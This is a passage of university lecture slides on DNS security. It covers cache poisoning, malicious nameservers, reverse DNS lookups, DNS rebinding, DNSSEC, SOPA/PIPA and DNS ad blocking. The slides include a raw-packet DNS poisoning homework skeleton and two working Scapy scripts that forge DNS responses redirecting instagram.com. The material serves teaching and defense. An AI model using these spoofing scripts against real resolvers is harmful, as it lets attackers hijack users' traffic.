if (!f_resp) { perror("Can't open 'ip_resp.bin'"); exit(1); } unsigned char ip_resp[MAX_FILE_SIZE]; int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp); char a[26]="abcdefghijklmnopqrstuvwxyz"; while (1) { // Generate a random name with length 5 char name[5]; for (int k=0; k<5; k++) name[k] = a[rand() % 26]; //################################################################## /* Step 1. Send a DNS request to the targeted local DNS server. This will trigger the DNS server to send out DNS queries */ // ... Students should add code here. /* Step 2. Send many spoofed responses to the targeted local DNS server, each one with a different transaction ID. */ // ... Students should add code here. //################################################################## } } /* Use for sending DNS request. * Add arguments to the function definition if needed. * */ void send_dns_request() { // Students need to implement this function } /* Use for sending forged DNS response. * Add arguments to the function definition if needed. * */ void send_dns_response() { // Students need to implement this function } /* Send the raw packet out * buffer: to contain the entire IP packet, with everything filled out. * pkt_size: the size of the buffer. * */ void send_raw_packet(char * buffer, int pkt_size) { struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. struct ipheader *ip = (struct ipheader *) buffer; dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock); } ``` ## 4: Malicious DNS Servers [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) - If one can enter a malicious DNS server somewhere - Perhaps in /etc/resolv.conf - Or as the authoritative nameserver for a domain in a spoofed reply - Then the malicious nameserver can serve lots of bad information ## Fake data in the Answer section - That's easy: just redirect certain domains to malicious servers
Fake data in the Additional section
- Consider fake data sent in the Additional section: ```text ;; QUESTION SECTION: ;abc.example.com IN A ;; ANSWER SECTION: abc.example.com 86400 IN A 1.2.3.4 ;; ADDITIONAL SECTION: www.example.com 86400 IN A 1.2.3.5 instagram.com 86400 IN A 1.2.3.6 ``` - We've now changed the IP address of instagram.com via our malicious nameserver - Even though the query was for another sub-domain of example.com
Scapy code to fake the Additional section
```python #!/usr/bin/python from scapy.all import * def spoof_dns(pkt): if (DNS in pkt and 'abc.example.com' in pkt[DNS].qd.qname): IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst) UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4',ttl=259200) Addsec1 = DNSRR(rrname='example.com', type='A', ttl=259200, rdata='1.2.3.5') Addsec2 = DNSRR(rrname='instagram.com', type='A', ttl=259200,rdata='1.2.3.6') DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0, qdcount=1,qr=1,ancount=1,nscount=0,arcount=2, an=Anssec, ar=Addsec1/Addsec2) spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) pkt=sniff(filter='udp and (src host -.-.-.- and dst port 53)', prn=spoof_dns) # fill in a real IP here ```
Fake data in the Authority section
- Consider fake data sent in the Additional section: ```text ;; QUESTION SECTION: ;abc.example.com IN A ;; ANSWER SECTION: abc.example.com 86400 IN A 1.2.3.4 ;; AUTHORITY SECTION: example.com 86400 IN NS ns.example.com instagram.com 86400 IN NS ns.example.com ``` - We've now changed the *DNS server* of instagram.com via our malicious nameserver - Even though the query was for another sub-domain of example.com
Scapy code to fake the Authority section
```python #!/usr/bin/python from scapy.all import * def spoof_dns(pkt): if (DNS in pkt and 'abc.example.com' in pkt[DNS].qd.qname): IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst) UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4',ttl=259200) # only the next three have changed NSSec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com') NSSec2 = DNSRR(rrname='instagram.com', type='NS', ttl=259200,rdata='ns.example.com') DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0, qdcount=1,qr=1,ancount=1,nscount=2,arcount=0, an=Anssec, ns=NSSec1/NSSec2) spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) pkt=sniff(filter='udp and (src host -.-.-.- and dst port 53)', prn=spoof_dns) # fill in a real IP here ```
Fake Authority
and
Additional sections
```text ;; QUESTION SECTION: ;abc.example.com IN A ;; ANSWER SECTION: abc.example.com 86400 IN A 1.2.3.4 ;; AUTHORITY SECTION: example.com 86400 IN NS ns.example.com example.com 86400 IN NS instagram.com ;; ADDITIONAL SECTION: ns.example.com 86400 IN A 1.2.3.5 instagram.com 86400 IN A 1.2.3.6 ``` - This combines the previous two examples ## Homework diagram [![](../docker/network_compact_for_dns.svg)](../docker/network_compact_for_dns.svg) ## Reverse DNS Lookup Consider: ```text $ ping -c 1 portal.cs.virginia.edu PING portal (128.143.69.114) 56(84) bytes of data. 64 bytes from portal (128.143.69.114): icmp_seq=1 ttl=63 time=0.216 ms $ nslookup 128.143.69.114 114.69.143.128.in-addr.arpa name = portal. 114.69.143.128.in-addr.arpa name = portal.cs.virginia.edu. $ ``` - The first is a standard DNS lookup - The second is a reverse DNS lookup ## Reverse DNS Lookup - Take the IP address: 128.143.69.114 - Reverse it and add ".in-arpa.arpa" - 114.69.143.128.in-arpa.arpa - This will: - Query the in-arpa.arpa server - Which directs it to the 128.in-arpa.arpa server - Which directs it to the 143.128.in-arpa.arpa.server (that's UVA) - Which directs it to the actual nameserver for UVA ## Reverse DNS Lookup ```text $ dig @a.root-servers.net -x 128.143.69.114 ; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @a.root-servers.net -x 128.143.69.114 ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7066 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 13 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;114.69.143.128.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: in-addr.arpa. 172800 IN NS e.in-addr-servers.arpa. in-addr.arpa. 172800 IN NS f.in-addr-servers.arpa. in-addr.arpa. 172800 IN NS d.in-addr-servers.arpa. in-addr.arpa. 172800 IN NS c.in-addr-servers.arpa. in-addr.arpa. 172800 IN NS b.in-addr-servers.arpa. in-addr.arpa. 172800 IN NS a.in-addr-servers.arpa. ;; ADDITIONAL SECTION: e.in-addr-servers.arpa. 172800 IN A 203.119.86.101 e.in-addr-servers.arpa. 172800 IN AAAA 2001:dd8:6::101 f.in-addr-servers.arpa. 172800 IN A 193.0.9.1 f.in-addr-servers.arpa. 172800 IN AAAA 2001:67c:e0::1 d.in-addr-servers.arpa. 172800 IN A 200.10.60.53 d.in-addr-servers.arpa. 172800 IN AAAA 2001:13c7:7010::53 c.in-addr-servers.arpa. 172800 IN A 196.216.169.10 c.in-addr-servers.arpa. 172800 IN AAAA 2001:43f8:110::10 b.in-addr-servers.arpa. 172800 IN A 199.253.183.183 b.in-addr-servers.arpa. 172800 IN AAAA 2001:500:87::87 a.in-addr-servers.arpa. 172800 IN A 199.180.182.53 a.in-addr-servers.arpa. 172800 IN AAAA 2620:37:e000::53 ;; Query time: 4 msec ;; SERVER: 198.41.0.4#53(a.root-servers.net) (UDP) ;; WHEN: Thu Mar 21 22:53:29 EDT 2024 ;; MSG SIZE rcvd: 432 ``` ## Reverse DNS Lookup ```text $ dig @a.in-addr-servers.arpa -x 128.143.69.114 ; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @a.in-addr-servers.arpa -x 128.143.69.114 ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27384 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: 496a9c1901e66fca0100000065fcf2e8914858f3646f9165 (good) ;; QUESTION SECTION: ;114.69.143.128.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 128.in-addr.arpa. 86400 IN NS r.arin.net. 128.in-addr.arpa. 86400 IN NS z.arin.net. 128.in-addr.arpa. 86400 IN NS x.arin.net. 128.in-addr.arpa. 86400 IN NS y.arin.net. 128.in-addr.arpa. 86400 IN NS u.arin.net. 128.in-addr.arpa. 86400 IN NS arin.authdns.ripe.net. ;; Query time: 80 msec ;; SERVER: 199.180.182.53#53(a.in-addr-servers.arpa) (UDP) ;; WHEN: Thu Mar 21 22:54:32 EDT 2024 ;; MSG SIZE rcvd: 223 ``` ## Reverse DNS Lookup ```text $ dig @r.arin.net -x 128.143.69.114 ; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @r.arin.net -x 128.143.69.114 ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56181 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: 9d6c591214760a530100000065fcf304b78df59879ace755 (good) ;; QUESTION SECTION: ;114.69.143.128.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 143.128.in-addr.arpa. 86400 IN NS juno.acc.virginia.edu. 143.128.in-addr.arpa. 86400 IN NS nom.virginia.edu. 143.128.in-addr.arpa. 86400 IN NS uvaarpa.virginia.edu. ;; Query time: 80 msec ;; SERVER: 199.180.180.63#53(r.arin.net) (UDP) ;; WHEN: Thu Mar 21 22:55:00 EDT 2024 ;; MSG SIZE rcvd: 191 ``` ## Reverse DNS Lookup ```text $ dig @uvaarpa.virginia.edu -x 128.143.69.114 ; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @uvaarpa.virginia.edu -x 128.143.69.114 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30992 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 8e5d984fc2fa6afc0100000065fcf31c09eb4527d631750c (good) ;; QUESTION SECTION: ;114.69.143.128.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 69.143.128.in-addr.arpa. 3600 IN NS athena.cs.virginia.edu. 69.143.128.in-addr.arpa. 3600 IN NS apollo.cs.virginia.edu. ;; Query time: 0 msec ;; SERVER: 128.143.107.117#53(uvaarpa.virginia.edu) (UDP) ;; WHEN: Thu Mar 21 22:55:24 EDT 2024 ;; MSG SIZE rcvd: 141 ``` ## What damage could this cause - If any security is based on the domain it came from - An example close to home - One should generally not use this as a basis for security - But if you do, to be sure, do a forward lookup after obtaining the domain
Background: same origin policy (SOP)
- Web browsers only allow one script to access data from another script if the scripts: - Are on the same domain - Use the same protocol - Use the same port - This prevents a malicious script from accessing the data from another script ## DNS Rebinding Attack - Imagine you wanted to attack a machine behind a firewall - The firewall prevents direct connections - You could have a script in a web page that attacks the server - But the same origin policy prevents this (actually just the replies) - We assume the DNS server used by the machine for this particular host is malicious - Set via any of the methods above - This attack used against IoT devices ## DNS Rebinding Attack - Have the DNS TTL set to 0 - The user pulls up a web page from www.sketchydomain.com - The malicious DNS server returns the correct IP mapping - The JS code attempts a connection to "www.sketchydomain.com" - The DNS mapping, no longer in cache, is requested again - The malicious DNS now maps to the local server (re-bound) - Possibly, once the attack is done, and info has to go back to the attacker - The JS code attempts another connection to "www.sketchydomain.com" - This time the malicious DNS server gives the correct IP - Information is then exfiltrated
Rebinding Attack Countermeasures
- Use DNSSEC - Have the browsers can implement DNS pinning: the domain -> IP mapping is fixed for the "life" of the web page viewing - DNS servers (or processes on the computer) can filter out private IP addresses or the loopback address - Can be done in the firewall also - Browser extensions (NoScript) block this ## Denial of Service attacks - If we can bring down a DNS server, a lot of damage can be caused - The root and TLD nameservers: - Are highly distributed, and carefully configured against these types of attacks - Not so much of individual domain nameservers
# DNSSEC
## High Level Idea ![](https://blog.cloudflare.com/content/images/2018/09/DNSSEC.png) - Each DNSSEC server has a public key - And signs all it's responses with that key - Algorithms used for signing: RSA & ECDSA (and maybe others) - A server's public key is vouched for by one level up - DNS already has a hierarchical structure - So that can be used for the signatures, rather than the TLD certificate authorities ## New Fields - Fields: - RRSIG: contains the signatures for the records in the response - DNSKEY: the public key that creates said signature - DS: the hash of the key one level down - NSEC: next record name in the zone - NSEC3: next record name in the zone, but with a cryptographic hash - The root DNS key: - Can ship with the OS or updates - Can be gotten through a TLS / website certificate authority, such as Verisign ## Diagram ![](http://www.cs.virginia.edu/~asb2t/duimg/n11/image1.png) ## Slow Adoption - Adoption of DNSSEC has been slow because: - It has to be backwards-compatible with DNS, and scale to the size of the Internet - Difficulties preventing zone enumeration (aka zone walking) - If using NSEC, one can "walk" through the zones, enumerating the hostnames - Lots of DNS resolvers, with different implementations, have to implement DNSSEC - Who should own the TLD and root keys? - Complexity of DNSSEC deployment - Messy evolution of the protocol - How slow? See a 2018 graph [here](https://blog.cloudflare.com/automatically-provision-and-maintain-dnssec/) - Another on the next slide ## Adoption graph [![](https://blog.apnic.net/wp-content/uploads/2023/10/Figure-1—-Internet-total-for-uptake-of-DNSSEC-validation.png)](https://blog.apnic.net/2023/10/31/how-we-measure-dnssec-validation/) ## SOPA & PIPA ![](https://p7.hiclipart.com/preview/638/38/393/protests-against-sopa-and-pipa-stop-online-piracy-act-protect-ip-act-bill-trans-pacific-partnership-open-images.jpg) - SOPA = Stop Online Piracy Act (House bill 3261) - PIPA = Protect IP Act (Senate Bill 968) - Both were promoted in early 2012 - This presentation focuses on SOPA, but they are pretty similar - Much of the content of this presentation (and all the images) comes from [the Wikipedia article](http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act), as well as the pages linked to from there - Massive protests led to public awareness and these were pulled
SOPA & PIPA: Hosting user content
- Sites that host user content are not *liable* for an illegal posting ... - Here 'illegal' means posting of copyrighted material - *AS LONG AS* the site takes the content down when notified in due course - Under SOPA, any such site could be taken down for hosting illegal content *without giving them the chance to take it down themselves* - But upon an accusation only; no need for proof! - This is *contrary* to the whole concept of innocent-until-proven-guilty! - So one user post could take down an entire *domain* - Many sites would no longer be able to exist: etsy, flickr, vimeo, etc.
SOPA & PIPA: How this would work
![](https://media.nj.com/njv_guest_blog/photo/10460904-large.jpg) - The solution is to remove the DNS entry - Let's say you go to amazon.com... - They do have user content (reviews) after all! - ... and you don't get there because of either: - The domain was removed pursuant to SOPA - There was DNS cache poisoning - i.e., somebody inserted an imposter site for amazon.com - How could you tell the difference? - Answer: you can't. They are indistinguishable. ## SOPA & PIPA & DNSSEC - DNSSEC requires browsers (really, application-level software) must continue searching DNS servers until it finds one -- possibly overseas -- that provides untampered results - But this would be *illegal* under SOPA & PIPA - The attorney general can sue "any entity that knowingly and willfully provides ... a product ... for the circumvention or bypassing of" removed websites - Meaning nobody in the US could provide DNSSEC or use it ## Other SOPA & PIPA issues - Deep packet inspection would be required of all ISPs to check for pirated content - Thus making TLS and HTTPS illegal - Users could be criminally liable if a video they posted inadvertently had a commercial logo in it - Like a Pepsi can in the background - Knowledgeable uses would be able to bypass this with various tools - The US gov't supports these tools for others in non-free countries - But would prevent them in the US ## Key signing ceremony ![](https://www.iana.org/_img/2015.1/iana-logo-homepage.svg) - Who signs the root key? - The one that signs the DNSSEC keys of the TLDs? - [IANA](https://iana.org), the Internet Assigned Numbers Authority - In a [key signing ceremony](https://www.cloudflare.com/dns/dnssec/root-signing-ceremony/) that is streamed live - When? Every 3 months - Where? It alternates between: - El Segundo, CA (part of LA) - Culpeper, VA (!), 40 miles north of Charlottesville - Ceremonies: - Last one was [Feb 14, 2024](https://www.iana.org/dnssec/ceremonies/52) in CA; next is [April 25, 2024](https://www.iana.org/dnssec/ceremonies/53-1) in VA - See the list of all of them [here](https://www.iana.org/dnssec/ceremonies)
# Removing Ads
via DNS
## How ads work - It's not feasible for each website to contract out with each advertiser - Enter the middle-men: ad purveyors that: - Contact out with those advertising - Pay those displaying the advertisements - One of the largest: [Google Marketing Platform](https://en.wikipedia.org/wiki/Google_Marketing_Platform) via [Google Ad Manager](https://en.wikipedia.org/wiki/Google_Ad_Manager) ## Bidding Advertisement Model - Each advertiser creates a series of parameters to determine a bid - When a web page is served, the info available... - IP, location, identity, browser, OS, what-not - ... is passed to each of the bidders - Whomever offers the highest price will have their ad displayed - This price is likely well under 1 cent
Pay-per-click Advertisement Model
- Given a search for something that provides ads - The links provided appear to go to the advertiser - But likely redirect to the search engine that redirects to the advertiser - Thus, the search engine (or ad purveyor) knows which links were clicked on - Sometimes this is obvious, other times it's handled via Javascript and more hidden - Cost per click: typically `$`0.50 to `$`2.50, but can be `$`50-`$`100 for certain keywords ## How to remove ads - In addition to ad blockers... - Both models have certain URL servers that manage the display of ads - So we can have the DNS server not resolve the hostnames of the ad servers ## Ad Removal Technique 1 - Use a DNS server that does this blocking - Of the [list of public DNS servers](https://adguard-dns.io/kb/general/dns-providers/): - 94.140.14.14 and 94.140.15.15: [AdGuard DNS](https://adguard-dns.io/en/welcome.html) - You can hard-code this DNS server on your computer - Or modify your home gateway's DHCP settings to use this DNS server - Doing it this way removes ads from your TV, phones, etc. ## Ad Removal Technique 2 ![](https://upload.wikimedia.org/wikipedia/en/1/15/Pi-hole_vector_logo.svg) - Install your own DNS server - Most common example: [Pi-Hole](https://pi-hole.net) - Originally designed to run on a Raspberry Pi, but can run on any machine - You can hard-code this DNS server on your computer - Or modify your home gateway's DHCP settings to use this DNS server - Doing it this way removes ads from your TV, phones, etc.